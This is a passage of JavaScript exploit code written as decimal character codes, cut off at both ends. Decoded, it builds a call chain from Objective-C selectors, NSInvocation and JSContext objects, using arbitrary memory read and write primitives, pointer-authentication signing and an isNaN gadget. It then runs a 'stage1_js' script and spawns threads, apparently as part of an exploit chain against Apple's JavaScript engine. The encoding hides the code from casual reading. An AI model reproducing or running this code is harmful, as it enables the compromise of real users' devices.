101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 105, 115, 70, 105, 110, 105, 115, 104, 101, 100, 34, 41, 41, 59, 10, 108, 101, 116, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 109, 101, 116, 104, 111, 100, 83, 105, 103, 110, 97, 116, 117, 114, 101, 70, 111, 114, 83, 101, 108, 101, 99, 116, 111, 114, 32, 32, 32, 32, 32, 61, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 109, 101, 116, 104, 111, 100, 83, 105, 103, 110, 97, 116, 117, 114, 101, 70, 111, 114, 83, 101, 108, 101, 99, 116, 111, 114, 58, 34, 41, 41, 59, 10, 108, 101, 116, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 58, 34, 41, 41, 59, 10, 108, 101, 116, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 114, 101, 108, 101, 97, 115, 101, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 114, 101, 108, 101, 97, 115, 101, 34, 41, 41, 59, 10, 108, 101, 116, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 114, 101, 116, 97, 105, 110, 67, 111, 117, 110, 116, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 114, 101, 116, 97, 105, 110, 67, 111, 117, 110, 116, 34, 41, 41, 59, 10, 108, 101, 116, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 115, 101, 116, 65, 114, 103, 117, 109, 101, 110, 116, 95, 97, 116, 73, 110, 100, 101, 120, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 115, 101, 116, 65, 114, 103, 117, 109, 101, 110, 116, 58, 97, 116, 73, 110, 100, 101, 120, 58, 34, 41, 41, 59, 10, 108, 101, 116, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 115, 116, 97, 114, 116, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 115, 116, 97, 114, 116, 34, 41, 41, 59, 10, 10, 108, 101, 116, 32, 105, 110, 118, 111, 107, 101, 95, 99, 108, 97, 115, 115, 32, 32, 32, 61, 32, 111, 98, 106, 99, 95, 103, 101, 116, 67, 108, 97, 115, 115, 40, 34, 78, 83, 73, 110, 118, 111, 99, 97, 116, 105, 111, 110, 34, 41, 59, 10, 108, 101, 116, 32, 106, 115, 99, 95, 99, 108, 97, 115, 115, 32, 32, 32, 32, 32, 32, 61, 32, 111, 98, 106, 99, 95, 103, 101, 116, 67, 108, 97, 115, 115, 40, 34, 74, 83, 67, 111, 110, 116, 101, 120, 116, 34, 41, 59, 10, 108, 101, 116, 32, 110, 115, 116, 104, 114, 101, 97, 100, 95, 99, 108, 97, 115, 115, 32, 61, 32, 111, 98, 106, 99, 95, 103, 101, 116, 67, 108, 97, 115, 115, 40, 34, 78, 83, 84, 104, 114, 101, 97, 100, 34, 41, 59, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 40, 99, 115, 116, 114, 105, 110, 103, 41, 10, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 67, 70, 83, 116, 114, 105, 110, 103, 67, 114, 101, 97, 116, 101, 87, 105, 116, 104, 67, 83, 116, 114, 105, 110, 103, 40, 107, 67, 70, 65, 108, 108, 111, 99, 97, 116, 111, 114, 68, 101, 102, 97, 117, 108, 116, 44, 32, 99, 115, 116, 114, 105, 110, 103, 44, 32, 107, 67, 70, 83, 116, 114, 105, 110, 103, 69, 110, 99, 111, 100, 105, 110, 103, 85, 84, 70, 56, 41, 59, 10, 125, 10, 10, 108, 101, 116, 32, 99, 102, 115, 116, 114, 95, 98, 111, 120, 101, 100, 95, 97, 114, 114, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 98, 111, 120, 101, 100, 95, 97, 114, 114, 34, 41, 41, 59, 10, 108, 101, 116, 32, 99, 102, 115, 116, 114, 95, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 32, 32, 32, 32, 32, 32, 61, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 34, 41, 41, 59, 10, 108, 101, 116, 32, 99, 102, 115, 116, 114, 95, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 56, 32, 32, 32, 32, 61, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 56, 34, 41, 41, 59, 10, 108, 101, 116, 32, 99, 102, 115, 116, 114, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 97, 114, 114, 97, 121, 32, 61, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 97, 114, 114, 97, 121, 34, 41, 41, 59, 10, 108, 101, 116, 32, 99, 102, 115, 116, 114, 95, 105, 115, 78, 97, 78, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 105, 115, 78, 97, 78, 34, 41, 41, 59, 10, 108, 101, 116, 32, 99, 102, 115, 116, 114, 95, 114, 119, 95, 97, 114, 114, 97, 121, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 114, 119, 95, 97, 114, 114, 97, 121, 34, 41, 41, 59, 10, 108, 101, 116, 32, 99, 102, 115, 116, 114, 95, 114, 119, 95, 97, 114, 114, 97, 121, 95, 56, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 114, 119, 95, 97, 114, 114, 97, 121, 95, 56, 34, 41, 41, 59, 10, 108, 101, 116, 32, 99, 102, 115, 116, 114, 95, 117, 110, 98, 111, 120, 101, 100, 95, 97, 114, 114, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 117, 110, 98, 111, 120, 101, 100, 95, 97, 114, 114, 34, 41, 41, 59, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 95, 99, 111, 112, 121, 40, 99, 102, 115, 116, 114, 105, 110, 103, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 67, 70, 83, 116, 114, 105, 110, 103, 67, 114, 101, 97, 116, 101, 67, 111, 112, 121, 40, 107, 67, 70, 65, 108, 108, 111, 99, 97, 116, 111, 114, 68, 101, 102, 97, 117, 108, 116, 44, 32, 99, 102, 115, 116, 114, 105, 110, 103, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 111, 98, 106, 101, 99, 116, 95, 114, 101, 116, 97, 105, 110, 67, 111, 117, 110, 116, 40, 111, 98, 106, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 40, 111, 98, 106, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 114, 101, 116, 97, 105, 110, 67, 111, 117, 110, 116, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 111, 98, 106, 101, 99, 116, 95, 114, 101, 108, 101, 97, 115, 101, 40, 111, 98, 106, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 40, 111, 98, 106, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 114, 101, 108, 101, 97, 115, 101, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 111, 98, 106, 44, 32, 99, 102, 115, 116, 114, 95, 107, 101, 121, 41, 10, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 40, 111, 98, 106, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 44, 32, 99, 102, 115, 116, 114, 95, 107, 101, 121, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 40, 111, 98, 106, 44, 32, 106, 115, 99, 114, 105, 112, 116, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 40, 111, 98, 106, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 44, 32, 106, 115, 99, 114, 105, 112, 116, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 101, 116, 104, 111, 100, 83, 105, 103, 110, 97, 116, 117, 114, 101, 70, 111, 114, 83, 101, 108, 101, 99, 116, 111, 114, 40, 111, 98, 106, 44, 32, 115, 101, 108, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 40, 111, 98, 106, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 109, 101, 116, 104, 111, 100, 83, 105, 103, 110, 97, 116, 117, 114, 101, 70, 111, 114, 83, 101, 108, 101, 99, 116, 111, 114, 44, 32, 115, 101, 108, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 87, 105, 116, 104, 77, 101, 116, 104, 111, 100, 83, 105, 103, 110, 97, 116, 117, 114, 101, 40, 111, 98, 106, 44, 32, 115, 105, 103, 41, 10, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 40, 111, 98, 106, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 87, 105, 116, 104, 77, 101, 116, 104, 111, 100, 83, 105, 103, 110, 97, 116, 117, 114, 101, 44, 32, 115, 105, 103, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 101, 116, 65, 114, 103, 117, 109, 101, 110, 116, 95, 97, 116, 73, 110, 100, 101, 120, 40, 111, 98, 106, 44, 32, 97, 114, 103, 44, 32, 105, 100, 120, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 40, 111, 98, 106, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 115, 101, 116, 65, 114, 103, 117, 109, 101, 110, 116, 95, 97, 116, 73, 110, 100, 101, 120, 44, 32, 97, 114, 103, 44, 32, 105, 100, 120, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 105, 110, 105, 116, 87, 105, 116, 104, 84, 97, 114, 103, 101, 116, 95, 115, 101, 108, 101, 99, 116, 111, 114, 95, 111, 98, 106, 101, 99, 116, 40, 111, 98, 106, 44, 32, 116, 97, 114, 103, 101, 116, 44, 32, 115, 101, 108, 44, 32, 111, 98, 106, 101, 99, 116, 41, 10, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 40, 111, 98, 106, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 105, 110, 105, 116, 87, 105, 116, 104, 84, 97, 114, 103, 101, 116, 95, 115, 101, 108, 101, 99, 116, 111, 114, 95, 111, 98, 106, 101, 99, 116, 44, 32, 116, 97, 114, 103, 101, 116, 44, 32, 115, 101, 108, 44, 32, 111, 98, 106, 101, 99, 116, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 110, 115, 116, 104, 114, 101, 97, 100, 95, 115, 116, 97, 114, 116, 40, 111, 98, 106, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 40, 111, 98, 106, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 115, 116, 97, 114, 116, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 101, 116, 117, 112, 95, 102, 99, 97, 108, 108, 95, 106, 111, 112, 99, 104, 97, 105, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 108, 101, 116, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 32, 32, 61, 32, 109, 97, 108, 108, 111, 99, 40, 80, 65, 71, 69, 95, 83, 73, 90, 69, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 108, 111, 97, 100, 95, 120, 49, 120, 51, 120, 56, 95, 97, 114, 103, 115, 32, 61, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 32, 43, 32, 48, 120, 49, 48, 48, 110, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 97, 114, 103, 115, 32, 32, 61, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 32, 43, 32, 48, 120, 50, 48, 48, 110, 59, 10, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 32, 43, 32, 48, 120, 48, 110, 44, 32, 108, 111, 97, 100, 95, 120, 49, 120, 51, 120, 56, 95, 97, 114, 103, 115, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 32, 43, 32, 48, 120, 56, 110, 44, 32, 112, 97, 99, 105, 97, 40, 108, 111, 97, 100, 95, 120, 49, 120, 51, 120, 56, 44, 32, 48, 110, 41, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 32, 43, 32, 48, 120, 49, 48, 110, 44, 32, 112, 97, 99, 105, 97, 40, 95, 67, 70, 79, 98, 106, 101, 99, 116, 67, 111, 112, 121, 80, 114, 111, 112, 101, 114, 116, 121, 44, 32, 48, 110, 41, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 32, 43, 32, 48, 120, 52, 48, 110, 44, 32, 112, 97, 99, 105, 97, 40, 106, 115, 118, 109, 95, 105, 115, 78, 65, 78, 95, 102, 99, 97, 108, 108, 95, 103, 97, 100, 103, 101, 116, 50, 44, 32, 48, 110, 41, 41, 59, 10, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 108, 111, 97, 100, 95, 120, 49, 120, 51, 120, 56, 95, 97, 114, 103, 115, 32, 43, 32, 48, 120, 50, 48, 110, 44, 32, 108, 111, 97, 100, 95, 120, 49, 120, 51, 120, 56, 95, 97, 114, 103, 115, 32, 43, 32, 48, 120, 52, 48, 110, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 108, 111, 97, 100, 95, 120, 49, 120, 51, 120, 56, 95, 97, 114, 103, 115, 32, 43, 32, 48, 120, 50, 56, 110, 44, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 97, 114, 103, 115, 32, 45, 32, 48, 120, 49, 48, 110, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 108, 111, 97, 100, 95, 120, 49, 120, 51, 120, 56, 95, 97, 114, 103, 115, 32, 43, 32, 48, 120, 51, 48, 110, 44, 32, 112, 97, 99, 105, 97, 40, 48, 120, 52, 49, 52, 49, 52, 49, 52, 49, 110, 44, 32, 48, 120, 67, 50, 68, 48, 110, 41, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 108, 111, 97, 100, 95, 120, 49, 120, 51, 120, 56, 95, 97, 114, 103, 115, 32, 43, 32, 48, 120, 53, 48, 110, 44, 32, 112, 97, 99, 105, 97, 40, 102, 99, 97, 108, 108, 95, 49, 52, 95, 97, 114, 103, 115, 95, 119, 114, 105, 116, 101, 95, 120, 56, 44, 32, 108, 111, 97, 100, 95, 120, 49, 120, 51, 120, 56, 95, 97, 114, 103, 115, 32, 43, 32, 48, 120, 53, 48, 110, 41, 41, 59, 10, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 34, 32, 58, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 112, 99, 34, 32, 58, 32, 108, 111, 97, 100, 95, 120, 49, 120, 51, 120, 56, 95, 97, 114, 103, 115, 32, 43, 32, 48, 120, 51, 48, 110, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 97, 114, 103, 115, 34, 32, 58, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 97, 114, 103, 115, 44, 10, 32, 32, 32, 32, 125, 59, 10, 125, 10, 10, 108, 101, 116, 32, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 95, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 32, 61, 32, 48, 110, 59, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 106, 115, 95, 116, 104, 114, 101, 97, 100, 95, 115, 112, 97, 119, 110, 40, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 44, 32, 116, 97, 114, 103, 101, 116, 95, 116, 104, 114, 101, 97, 100, 95, 97, 114, 103, 32, 61, 32, 48, 120, 48, 110, 41, 10, 123, 10, 32, 32, 32, 32, 105, 102, 32, 40, 116, 121, 112, 101, 111, 102, 32, 40, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 41, 32, 61, 61, 61, 32, 34, 115, 116, 114, 105, 110, 103, 34, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 32, 61, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 41, 41, 59, 10, 32, 32, 32, 32, 125, 32, 101, 108, 115, 101, 32, 105, 102, 32, 40, 116, 121, 112, 101, 111, 102, 32, 40, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 41, 32, 61, 61, 61, 32, 34, 111, 98, 106, 101, 99, 116, 34, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 32, 61, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 40, 117, 114, 101, 97, 100, 54, 52, 40, 97, 100, 100, 114, 111, 102, 40, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 41, 32, 43, 32, 48, 120, 49, 48, 110, 41, 41, 59, 10, 32, 32, 32, 32, 125, 32, 101, 108, 115, 101, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 47, 47, 32, 105, 110, 32, 116, 104, 105, 115, 32, 99, 97, 115, 101, 44, 32, 105, 116, 39, 115, 32, 97, 108, 114, 101, 97, 100, 121, 32, 97, 32, 67, 70, 83, 116, 114, 105, 110, 103, 44, 32, 115, 111, 32, 108, 101, 116, 39, 115, 32, 106, 117, 115, 116, 32, 99, 111, 112, 121, 32, 105, 116, 10, 32, 32, 32, 32, 32, 32, 32, 32, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 32, 61, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 95, 99, 111, 112, 121, 40, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 41, 59, 10, 32, 32, 32, 32, 125, 10, 10, 32, 32, 32, 32, 108, 101, 116, 32, 106, 111, 112, 95, 99, 104, 97, 105, 110, 95, 105, 110, 102, 111, 32, 61, 32, 115, 101, 116, 117, 112, 95, 102, 99, 97, 108, 108, 95, 106, 111, 112, 99, 104, 97, 105, 110, 40, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 32, 61, 32, 106, 111, 112, 95, 99, 104, 97, 105, 110, 95, 105, 110, 102, 111, 91, 34, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 34, 93, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 112, 99, 32, 32, 32, 61, 32, 106, 111, 112, 95, 99, 104, 97, 105, 110, 95, 105, 110, 102, 111, 91, 34, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 112, 99, 34, 93, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 97, 114, 103, 115, 32, 61, 32, 106, 111, 112, 95, 99, 104, 97, 105, 110, 95, 105, 110, 102, 111, 91, 34, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 97, 114, 103, 115, 34, 93, 59, 10, 10, 10, 32, 32, 32, 32, 108, 101, 116, 32, 99, 116, 120, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 111, 98, 106, 99, 95, 97, 108, 108, 111, 99, 95, 105, 110, 105, 116, 40, 106, 115, 99, 95, 99, 108, 97, 115, 115, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 105, 115, 110, 97, 110, 95, 118, 97, 108, 117, 101, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 105, 115, 78, 97, 78, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 105, 115, 110, 97, 110, 95, 102, 117, 110, 99, 95, 97, 100, 100, 114, 32, 32, 32, 32, 32, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 105, 115, 110, 97, 110, 95, 118, 97, 108, 117, 101, 32, 43, 32, 48, 120, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 105, 115, 110, 97, 110, 95, 101, 120, 101, 99, 117, 116, 97, 98, 108, 101, 95, 97, 100, 100, 114, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 105, 115, 110, 97, 110, 95, 102, 117, 110, 99, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 49, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 105, 115, 110, 97, 110, 95, 99, 111, 100, 101, 95, 112, 116, 114, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 105, 115, 110, 97, 110, 95, 101, 120, 101, 99, 117, 116, 97, 98, 108, 101, 95, 97, 100, 100, 114, 32, 43, 32, 48, 120, 50, 56, 110, 59, 10, 32, 32, 32, 32, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 40, 99, 116, 120, 44, 32, 115, 116, 97, 103, 101, 49, 95, 106, 115, 41, 59, 10, 10, 32, 32, 32, 32, 47, 47, 32, 115, 101, 116, 117, 112, 32, 97, 100, 100, 114, 111, 102, 32, 112, 114, 105, 109, 115, 10, 32, 32, 32, 32, 108, 101, 116, 32, 117, 110, 98, 111, 120, 101, 100, 95, 97, 114, 114, 95, 118, 97, 108, 117, 101, 32, 61, 32, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 117, 110, 98, 111, 120, 101, 100, 95, 97, 114, 114, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 117, 110, 98, 111, 120, 101, 100, 95, 97, 114, 114, 95, 97, 100, 100, 114, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 117, 110, 98, 111, 120, 101, 100, 95, 97, 114, 114, 95, 118, 97, 108, 117, 101, 32, 43, 32, 48, 120, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 98, 111, 120, 101, 100, 95, 97, 114, 114, 95, 118, 97, 108, 117, 101, 32, 32, 32, 61, 32, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 99, 116, 120, 44, 32, 99, 102, 115, 116, 114, 95, 98, 111, 120, 101, 100, 95, 97, 114, 114, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 98, 111, 120, 101, 100, 95, 97, 114, 114, 95, 97, 100, 100, 114, 32, 32, 32, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 98, 111, 120, 101, 100, 95, 97, 114, 114, 95, 118, 97, 108, 117, 101, 32, 43, 32, 48, 120, 56, 110, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 98, 111, 120, 101, 100, 95, 97, 114, 114, 95, 98, 117, 116, 